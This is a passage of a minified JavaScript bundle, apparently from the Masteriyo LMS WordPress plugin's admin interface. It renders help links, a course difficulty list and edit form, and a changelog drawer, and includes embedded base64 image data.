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"}),l().createElement(d.B,{gap:"2",justify:"center"},l().createElement(ke.D,{as:"h3",fontSize:"xl",fontWeight:"normal",color:"gray.700"},(0,E.__)("YouTube","learning-management-system")),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Subscribe to our YouTube channel, where we guide you on using Masteriyo’s features and add-ons.","learning-management-system")),l().createElement(p.$,{as:je.N,colorScheme:"red",borderRadius:"base",fontSize:"14px",fontWeight:"normal",alignSelf:"start",mt:"5",color:"white !important",isExternal:!0,href:"https://www.youtube.com/@masteriyolms",textDecor:"none !important"},(0,E.__)("Subscribe","learning-management-system"))))),l().createElement(d.B,{gap:"5"},l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ob.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Video Tutorials","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Watch our step-by-step video tutorials that’ll help you get the best out of Masteriyo’s features.","learning-management-system")),l().createElement(je.N,{isExternal:!0,color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",href:"https://www.youtube.com/embed/pr1vYXNnaTI?si=egdGsJf5XJsI9XXA&autoplay=1&mute=1&rel=0"},(0,E.__)("Watch Videos","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(kt.vYt,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Feature Request","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Don’t find a feature you’re looking for? Suggest any features you think would enhance our product.","learning-management-system")),l().createElement(je.N,{href:sa,color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",isExternal:!0},(0,E.__)("Request a Feature","learning-management-system"))),l().createElement(d.B,{p:"4",gap:"3",bgColor:"white",borderRadius:"base",border:"1px",borderColor:"gray.100"},l().createElement(Ze.z,{gap:"2"},l().createElement(ib.A,{size:20,color:Aa}),l().createElement(ke.D,{as:"h3",size:"sm",fontWeight:"semibold"},(0,E.__)("Submit a Review","learning-management-system"))),l().createElement(g.E,{fontSize:"13px",color:"gray.700"},(0,E.__)("Please take a moment to give us a review. We appreciate honest feedback that’ll help us improve our plugin.","learning-management-system")),l().createElement(je.N,{href:ua,color:"var(--chakra-colors-primary-500) !important",textDecor:"underline",isExternal:!0},(0,E.__)("Submit a Review","learning-management-system")))))))};const Fb=e=>{var{id:t,name:n,slug:a,count:r,color:i}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",align:"center"},l().createElement(_e.o,{w:"6",h:"6",rounded:"full",bg:i}),l().createElement(je.N,{as:v.N_,to:Pt.course_difficulties.edit.replace(":difficultyId",t.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},n))),l().createElement(_n.Td,null,a),l().createElement(_n.Td,null,r),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.course_difficulties.edit.replace(":difficultyId",t.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),size:"xs"},(0,E.__)("Edit","learning-management-system"))))))};const jb=()=>{var e,[t]=(0,xt.U)("(min-width: 360px)"),n=new mt(rt.difficulties),a=(0,Pn.I)({queryKey:["courseDifficultiesList"],queryFn:()=>n.list({per_page:-1})}),r=(0,vt.Zp)();return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(yn,{sx:rn.larger},l().createElement(l().Fragment,null,l().createElement(fn,{key:"Course Categories",as:v.k2,_activeLink:on,to:Pt.course_categories.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Categories","learning-management-system"))),l().createElement(fn,{key:"Course Difficulties",as:v.k2,_activeLink:on,to:Pt.course_difficulties.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Difficulties","learning-management-system"))))),l().createElement(yn,{sx:rn.smaller},l().createElement(Rn.W,null,l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.FwF,{style:{fontSize:25}}),style:{background:"#FFFFFF",boxShadow:"none"},py:"45px",color:"primary.500"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{key:Pt.course_categories.list},l().createElement(fn,{as:v.k2,sx:{color:"black",height:"20px"},_activeLink:{color:"primary.500"},to:Pt.course_categories.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Categories","learning-management-system")))),l().createElement(Kn.D,{key:Pt.course_difficulties.list},l().createElement(fn,{as:v.k2,sx:{color:"black",height:"20px"},_activeLink:{color:"primary.500"},to:Pt.course_difficulties.list},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Difficulties","learning-management-system")))))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{bg:"white",py:"12",shadow:"box",mx:"auto",w:"full"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,a.isLoading?l().createElement(bd,null):$(null==a?void 0:a.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{r(Pt.course_difficulties.add)},title:(0,E.__)("Create Your First Course Difficulty","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course category. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Difficulty","learning-management-system")}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("Name","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Slug","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Count","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==a||null===(e=a.data)||void 0===e?void 0:e.map((e=>l().createElement(Fb,{key:e.id,id:e.id,name:e.name,slug:e.slug,count:e.count,color:e.color}))))))))))))};const Vb=()=>l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:["column",null,"row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:["4",null,"10"],shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(Ba.r,{noOfLines:1,width:"50px"}),l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"200px"}))),l().createElement(Qe.a,{w:["100%",null,"400px"],bg:"white",p:["4",null,"10"],shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(St.E,{height:"40px"})))));const Lb=e=>{var{defaultValue:t}=e,[n,r]=(0,a.useState)(t),[i,o]=(0,a.useState)(""),s=(0,a.useCallback)((e=>{r(e),o(e)}),[]);return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:2},l().createElement(Ge.l,{m:0},(0,E.__)("Description","learning-management-system")),l().createElement(Li,{onContentCreated:s,elementId:"mto-difficulty-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-difficulty-description",name:"description",defaultValue:n}):l().createElement(Ei,{defaultValue:n,name:"description",id:"mto-difficulty-description",blockAiContent:i}))};const Mb=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n,placeholder:(0,E.__)("Your Difficulty Name","learning-management-system")},a("name",{required:(0,E.__)("You must provide a name for the difficulty.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r?void 0:r.name)&&(null==r||null===(t=r.name)||void 0===t?void 0:t.message)))};const Rb=e=>{var t,{defaultValue:n,defaultNameValue:a}=e,{register:r,formState:{errors:i},control:o}=(0,Je.xW)(),s=(0,Je.FH)({name:"name",defaultValue:a||"",control:o});return l().createElement(Ne.MJ,{isInvalid:!(null==i||!i.slug)},l().createElement(Ge.l,null,(0,E.__)("Slug","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({defaultValue:n},r("slug",{validate:e=>!e.includes(" ")||(0,E.__)("Spaces are not allowed.","learning-management-system")}),{placeholder:s?gc(s):""})),l().createElement(Ne.eK,{fontSize:"xs"},(0,E.__)("The “slug” is the URL-friendly version of the name. It should be all lowercase and contains only letters, numbers, and hyphens.","learning-management-system")),l().createElement(ui.Wt,null,(null==i?void 0:i.slug)&&(null==i||null===(t=i.slug)||void 0===t?void 0:t.message)))};function Tb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Ub(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Tb(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Tb(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Wb=()=>{var e,t,n,r,i,{difficultyId:o}=(0,vt.g)(),m=(0,vt.Zp)(),c=(0,Je.mN)(),u=(0,We.d)(),g=new mt(rt.difficulties),A=(0,s.jE)(),y=(0,Pn.I)({queryKey:["courseDifficulty".concat(o),o],queryFn:()=>g.get(o)}),f=(0,wt.n)(Ub({mutationFn:e=>g.update(o,e)},{onSuccess:e=>{xe(A,["courseDifficultiesList"],e,!1),u({title:(0,E.__)("Course Difficulty Updated","learning-management-system"),isClosable:!0,status:"success"}),y.refetch(),A.invalidateQueries({queryKey:["courseDifficultiesList"]}),m(Pt.course_difficulties.list)},onError:e=>{var t;u({title:(0,E.__)("Failed to update course difficulty.","learning-management-system"),description:"".concat(null===(t=e.response)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.message),isClosable:!0,status:"error"})}}));return Ca(c.formState.isDirty),(0,a.useEffect)((()=>{null!=y&&y.isSuccess&&null!=y&&y.data&&c.reset(c.getValues())}),[null==y?void 0:y.data]),l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.course_difficulties.list,_activeLink:on},(0,E.__)("Course Difficulty","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.course_difficulties.list},l().createElement(p.$,{variant:"link",_hover:{color:"primary.500"},leftIcon:l().createElement($e.I,{fontSize:"xl",as:kt.MQY})},(0,E.__)("Difficulties","learning-management-system")))),l().createElement(Je.Op,c,y.isLoading?l().createElement(Vb,null):(null==y?void 0:y.isSuccess)&&l().createElement("form",{onSubmit:c.handleSubmit((e=>{f.mutate(ee(Ub(Ub({},e),{},{slug:e.slug?e.slug:gc(e.name)})))}))},l().createElement(d.B,{direction:["column",null,"row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:["4",null,"10"],shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(ke.D,{as:"h1",fontSize:"x-large"},(0,E.__)("Edit Course Difficulty","learning-management-system")),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Mb,{defaultValue:null==y||null===(e=y.data)||void 0===e?void 0:e.name}),l().createElement(Lb,{defaultValue:null==y||null===(t=y.data)||void 0===t?void 0:t.description}),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:f.isPending},(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>m(Pt.course_difficulties.list)},(0,E.__)("Cancel","learning-management-system")))))),l().createElement(Qe.a,{w:["100%",null,"400px"],bg:"white",p:["4",null,"10"],shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Rb,{defaultValue:null==y||null===(n=y.data)||void 0===n?void 0:n.slug,defaultNameValue:null==y||null===(r=y.data)||void 0===r?void 0:r.name}),l().createElement(nl,{direction:"col",defaultColor:null==y||null===(i=y.data)||void 0===i?void 0:i.color,description:(0,E.__)("Course difficulty badge color. If not set then default color will be set on course page.","learning-management-system"),label:(0,E.__)("Color","learning-management-system"),name:"color",resetColorBtn:!0})))))))))};const Kb=()=>l().createElement(l().Fragment,null,Array.from({length:5}).map(((e,t)=>l().createElement(Qe.a,{key:t,mt:t>0?"20px":void 0},l().createElement(d.B,{direction:"row",align:"center",justify:"space-between"},l().createElement(St.E,{height:"17px",width:"80px"}),l().createElement(St.E,{height:"10px",width:"57px"})),l().createElement(St.E,{height:"26px",width:"60px",mt:"20px"}),l().createElement(Ba.r,{mt:"20px",noOfLines:5,spacing:"1"})))));var Nb=e=>{var t,n,{changeLogQuery:a}=e;return null!=a&&a.error?l().createElement(Qe.a,{mt:2,display:"flex",justifyContent:"center"},l().createElement(g.E,{fontSize:"sm",color:"gray.600"},(0,E.__)("Some Error Occurred.","learning-management-system"))):null!=a&&a.isLoading?l().createElement(Kb,null):l().createElement(l().Fragment,null,N(null==a||null===(t=a.data)||void 0===t?void 0:t.changelog)&&(null==a||null===(n=a.data)||void 0===n||null===(n=n.changelog)||void 0===n?void 0:n.map((e=>l().createElement(Qe.a,{key:e.version,mb:"7"},l().createElement(Ze.z,{justify:"space-between"},l().createElement(ke.D,{as:"h4",fontSize:"sm",fontWeight:"semibold"},(0,E.sprintf)(/* translators: %s: version number */ /* translators: %s: version number */ (0,E.__)("Version %s","learning-management-system"),e.version)),l().createElement(g.E,null,e.date)),l().createElement(Qe.a,null,Object.entries(e.changes).map(((t,n)=>{var a,r,i,[o,s]=t;return l().createElement(Qe.a,{key:"".concat(e.version).concat(o).concat(n),position:"relative",_after:{bgColor:null!==(a=null==ga||null===(r=ga[o.trim().toLowerCase()])||void 0===r?void 0:r.bgColor)&&void 0!==a?a:"gray",bottom:0,content:'""',height:"full",left:"12px",position:"absolute",top:0,width:"2px"},mb:"5",mt:"2"},l().createElement(RA.vw,{colorScheme:null==ga||null===(i=ga[o.trim().toLowerCase()])||void 0===i?void 0:i.scheme,position:"sticky",zIndex:2,top:"0",fontWeight:"normal"},o),l().createElement(Qe.a,{pt:"10px"},s.map(((t,a)=>{var r,i;return l().createElement(g.E,{key:"".concat(e.version).concat(o).concat(n).concat(a),pl:"10",position:"relative",mb:"4",_after:{bgColor:null==ga||null===(r=ga[o.trim().toLowerCase()])||void 0===r?void 0:r.bgColor,bgPosition:"50%",borderRadius:"50%",content:'""',height:"20px",width:"20px",position:"absolute",top:"50%",transform:"translateY(-50%)",left:"2px"},_before:{color:null==ga||null===(i=ga[o.trim().toLowerCase()])||void 0===i?void 0:i.color,content:'"\\2713"',position:"absolute",left:"9px",top:"50%",transform:"translateY(-50%)",fontSize:"10px",fontWeight:"bold",zIndex:1}},t)}))))}))))))))};const Gb=l().memo(Nb);const Hb=e=>{var{open:t,onClose:n,side:r,children:i,title:o}=e,[s,m]=(0,a.useState)({});return(0,a.useEffect)((()=>{m(t?{transition:"transform 0.3s ease-in-out",transform:"translateX(0)"}:{transition:"transform 0.3s ease-in-out",transform:"left"===r?"translateX(-100%)":"translateX(100%)"})}),[t,r]),t?l().createElement(Zc.Z,null,l().createElement(Qe.a,{position:"fixed",top:0,bottom:0,left:0,right:0,bg:"rgba(0, 0, 0, 0.5)",zIndex:9998,onClick:n}),l().createElement(Qe.a,(0,Re.A)({position:"fixed",top:0,bottom:0,width:{base:"100%",md:"30%"},bg:"white",boxShadow:"md",zIndex:9999,overflowY:"auto",overflowX:"hidden"},"left"===r?{left:0}:{right:0},{style:s}),l().createElement(ft.s,{mt:10,justifyContent:"space-between",p:3},l().createElement(g.E,{fontSize:"large",fontWeight:"bold"},o),l().createElement($n.m,{label:(0,E.__)("Close","learning-management-system")},l().createElement("span",null,l().createElement(Ve.$8F,{onClick:n,size:20,cursor:"pointer"})))),l().createElement(Do.c,{color:"gray.500",mt:2}),i)):null};const Jb=e=>{var t,{hideHomePage:n=!1}=e,[r,i]=(0,a.useState)(!1),o=(0,a.useMemo)((()=>new mt(rt.change_log)),[]),s=(0,Pn.I)({queryKey:["changeLogQuery"],queryFn:()=>o.list(),enabled:r});return l().createElement(l().Fragment,null,l().createElement(Qe.a,{position:{sm:"sticky"},top:"var(--wp-admin--admin-bar--height, 0)",bg:"white",zIndex:991,borderBottom:"1px solid ",borderColor:"pale-gray",width:"100%"},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"row",justify:"space-between"},l().createElement(d.B,{direction:"row",align:"center",gap:"7"},l().createElement(je.N,{as:v.k2,to:"/dashboard"},l().createElement(qe._,{src:It,alt:"logo",w:"36px",minW:"36px"})),l().createElement(Yn,{tabs:null==Ot?void 0:Ot.filter((e=>!n||"home"!==(null==e?void 0:e.status))),defaultActive:"any",onTabChange:()=>{},customWidth:{xl:"800px"}})),l().createElement(d.B,{direction:"row",align:"center",spacing:"12px"},l().createElement($n.m,{label:(0,E.sprintf)(/* translators: %s: plugin version number */ /* translators: %s: plugin version number */ -(0,E._x)("You are currently using Masteriyo %s","Plugin version notice","learning-management-system"),"v".concat(null!==(t=null==R?void 0:R.version)&&void 0!==t?t:""))},l().createElement(RA.vw,{variant:"outline",colorScheme:"primary",borderRadius:"xl",bgColor:"#F8FAFF",fontSize:"xs"},"v"+(null==R?void 0:R.version))),l().createElement(_e.o,{height:"18px"},l().createElement(Do.c,{orientation:"vertical"})),l().createElement(El,{url:"https://masteriyo.com/upgrade/?utm_source=wp-admin&utm_medium=courseoverview&utm_campaign=proupsell&utm_content=upgradetopro"}),l().createElement(p.$,{onClick:()=>i(!0),variant:"unstyled",borderRadius:"full",border:"2px",borderColor:"gray.200",w:"40px",h:"40px",position:"relative"},l().createElement($n.m,{label:(0,E.__)("Latest Updates","learning-management-system")},l().createElement(qe._,{src:"data:image/png;base64,R0lGODlhpAGkAfD/AP///zxThSH/C05FVFNDQVBFMi4wAwEAAAAh/wtYTVAgRGF0YVhNUDw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDkuMC1jMDAxIDc5LjE0ZWNiNDJmMmMsIDIwMjMvMDEvMTMtMTI6MjU6NDQgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCAyNC4yIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo4OTE2NkM4MzdFRUExMUVFQTU3OEQ1QzVCODg0NkY0NiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo4OTE2NkM4NDdFRUExMUVFQTU3OEQ1QzVCODg0NkY0NiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjg5MTY2QzgxN0VFQTExRUVBNTc4RDVDNUI4ODQ2RjQ2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjg5MTY2QzgyN0VFQTExRUVBNTc4RDVDNUI4ODQ2RjQ2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAAIfkEBRAAAgAsAAAAAKQBpAEAAv+Uj6nL7Q+jnLTai7PevPsPhuJIluaJpurKtu4Lx/JM1/aN5/rO9/4PDAqHxKLxiEwql8ym8wmNSqfUqvWKzWq33K73Cw6Lx+Sy+YxOq9fstvsNj8vn9Lr9js/r9/y+/w8YKDhIWGh4iJiouMjY6PgIGSk5SVlpeYmZqbnJ2en5CRoqOkpaanqKmqq6ytrq+gobKztLW2t7i5uru8vb6/sLHCw8TFxsfIycrLzM3Oz8DB0tPU1dbX2Nna29zd3t/Q0eLj5OXm5+jp6uvs7e7v4OHy8/T19vf4+fr7/P3+//DzCgwIEECxo8iDChwoUMG9oDACCAxIkQHUaKODGjRon/ACwmwrgx5MaOHgeJPCmSZMk+IFG6zKhyJZ6XNEPGlCmnZc2dAW7idKOTJ0+fP9EEFSqUaNExR5EiVbr0i9OpIqMypToSIkShVsFg3DpVq9ixNaF2nfK16cuxbMmuPZslrdO2dN2iNAuXCUWwQ+v61eoSb14ke9We/IuYb9XBT9IqLps4sUvGTRw/phk5M0rKSiwbTplZc0rORzx/zhpatE3SREw/TR36MOsghcUmhZ1a9uwetW33xR178e4cpgH